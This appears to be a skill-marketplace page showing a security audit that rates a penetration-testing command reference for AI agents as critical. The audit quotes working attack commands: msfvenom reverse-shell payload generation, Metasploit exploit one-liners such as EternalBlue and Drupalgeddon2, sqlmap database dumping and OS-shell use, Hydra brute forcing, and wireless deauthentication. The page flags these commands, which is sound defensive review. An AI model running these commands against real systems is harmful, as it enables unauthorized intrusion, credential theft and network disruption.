技能 pentest-commands
📦
pentest-commands
v1.1 内容修订 r1 严重 ⚙️ 外部命令🌐 网络访问📁 文件系统访问
审查渗透测试命令参考
安全团队需要用于授权评估的快速参考。本技能总结了常见的渗透测试命令和工具工作流程。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "pentest-commands" from https://skillstore.io/skills/sickn33-pentest-commands.md and its manifest at https://skillstore.io/api/skills/sickn33-pentest-commands/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“pentest-commands”。 解释授权实验室评估的安全顺序。
预期结果:
从确认范围开始，然后进行发现、服务审查、受控验证、证据捕获和修复说明。
正在使用“pentest-commands”。 识别该参考中的高风险命令类别。
预期结果:
- 漏洞利用框架的使用需要明确授权和实验室隔离。
- 凭据攻击示例需要速率限制和账户锁定控制。
- 载荷生成示例应从公开 marketplace 内容中移除。
正在使用“pentest-commands”。 总结如何让该技能更适合发布。
预期结果:
保留高层级工具说明，移除可运行的漏洞利用链，并添加授权、范围和仅限实验室的保护措施。
安全审计
严重v4 • 2026/7/7 打开版本化报告
The skill is a penetration testing command reference with Nmap, Metasploit, msfvenom, SQLMap, Hydra, John the Ripper, Aircrack-ng, and Nikto examples. Markdown fence and filesystem detections are false positives, but the substantive guidance confirms high and critical risk for scanning, exploitation, credential attacks, payload generation, and data extraction.
1
已扫描文件
439
分析行数
99
复核项
0
已忽略误报
已确认安全问题 (48)
严重
SSH private key file
ssh2john id_rsa > ssh_hash.txt
The command processes an SSH private key file for password cracking. No key material is embedded, but the workflow enables credential compromise if misused.
严重
Metasploit framework
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
### 2. Metasploit Commands
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
# Launch Metasploit
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
set PAYLOAD windows/meterpreter/reverse_tcp
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
严重
Metasploit framework
# Export to Metasploit
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
显示全部 48 条已确认问题
严重
Exploit Execution and Reverse Shell Payloads
The skill provides runnable Metasploit exploit chains and msfvenom reverse shell payload generation examples. This can enable unauthorized code execution or remote access outside an approved lab.
The cited lines contain direct exploit invocations and reverse shell payload commands. The intent is explicit offensive execution, not only tool description.
高
Malware type keywords
# vsftpd backdoor
The line references a backdoor exploit module in an executable Metasploit workflow. The surrounding section is offensive exploit guidance, not a benign mention.
高
Malware type keywords
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
The line references a backdoor exploit module in an executable Metasploit workflow. The surrounding section is offensive exploit guidance, not a benign mention.
高
System reconnaissance
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
The command targets a specific wireless network for capture. In context with the following deauthentication and cracking steps, it supports intrusive wireless assessment activity.
高
Network scanning tools
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
### 1. Nmap Commands
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sP 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sL 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sn 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sS 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sT 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sU 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -p- 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -p 22,80,443 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sV 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -O 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -A 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -Pn 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script vuln 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script smb-enum-shares -p 445 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script http-enum -p 80 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script smb-vuln-ms17-010 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script smb-vuln-ms08-067 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script ssh-brute -p 22 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script ftp-anon 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script dns-brute 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -p80 --script http-methods 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -p80 --script http-headers 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --script http-sql-injection -p 80 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sX 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sA 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sW 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap --traceroute 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -F 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sV -sC -A -p- 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sV -T4 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Network scanning tools
nmap -sV --script vuln 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
高
Credential Brute Force and Password Cracking Guidance
The skill includes Hydra brute force commands and John the Ripper workflows for cracking hashes and SSH key passphrases. These examples can support credential compromise if misused.
The lines explicitly show service login brute forcing and password cracking commands. They are high-risk even though lab use is possible.
高
Database Dumping and OS Shell Guidance
The SQLMap section includes database dump and OS shell examples. These commands can extract sensitive data or gain command execution on a vulnerable target.
The cited commands directly request data dumping and OS shell behavior. This is clear exploitation guidance rather than passive testing.
高
Wireless Deauthentication Attack Guidance
The wireless section includes a deauthentication attack and WPA handshake cracking workflow. This can disrupt networks and support unauthorized wireless access attempts.
The cited lines combine target capture, deauthentication, and handshake cracking. The workflow is intrusive and can disrupt wireless clients.
能力复核项 (99)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded URL
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
The example chains Nikto and SQLMap against a web target. This is active web vulnerability testing and database enumeration guidance.
高
Hardcoded IP address
nmap -sP 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sL 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sn 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sS 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sT 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sU 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -p- 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -p 22,80,443 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sV 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -O 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -A 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -Pn 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script vuln 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script smb-enum-shares -p 445 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script http-enum -p 80 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script smb-vuln-ms17-010 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script smb-vuln-ms08-067 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script ssh-brute -p 22 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script ftp-anon 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script dns-brute 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -p80 --script http-methods 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -p80 --script http-headers 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --script http-sql-injection -p 80 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sX 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sA 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sW 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap --traceroute 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
set RHOST 192.168.1.1
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.t
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.t
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
高
Hardcoded IP address
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l admin -P passwords.txt smb://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l admin -P passwords.txt rdp://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -l root -P passwords.txt mysql://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
高
Hardcoded IP address
nmap -F 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sV -sC -A -p- 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sV -T4 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
Hardcoded IP address
nmap -sV --script vuln 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
高
FTP protocol
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
高
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
高
SSH protocol URL
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
中
Hardcoded URL
nikto -h http://192.168.1.1
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -C all
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -output report.html
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins robots
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins shellshock
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins heartbleed
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins ssl
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Format msf+
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded URL
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -C all
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -output report.html
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins robots
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins shellshock
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins heartbleed
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins ssl
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Format msf+
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
中
Hardcoded IP address
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
风险因素
⚙️ 外部命令 (37)
SKILL.md:37-46 SKILL.md:46-50 SKILL.md:50-65 SKILL.md:65-69 SKILL.md:69-81 SKILL.md:81-85 SKILL.md:85-118 SKILL.md:118-122 SKILL.md:122-134 SKILL.md:134-140 SKILL.md:140-161 SKILL.md:161-165 SKILL.md:165-183 SKILL.md:183-187 SKILL.md:187-205 SKILL.md:205-209 SKILL.md:209-212 SKILL.md:212-216 SKILL.md:216-234 SKILL.md:234-238 SKILL.md:238-259 SKILL.md:259-263 SKILL.md:263-290 SKILL.md:290-294 SKILL.md:294-318 SKILL.md:318-322 SKILL.md:322-344 SKILL.md:344-348 SKILL.md:348-363 SKILL.md:363-367 SKILL.md:367-382 SKILL.md:382-388 SKILL.md:388-397 SKILL.md:397-421 SKILL.md:421-423 SKILL.md:423-427 SKILL.md:427-429
🌐 网络访问 (101)
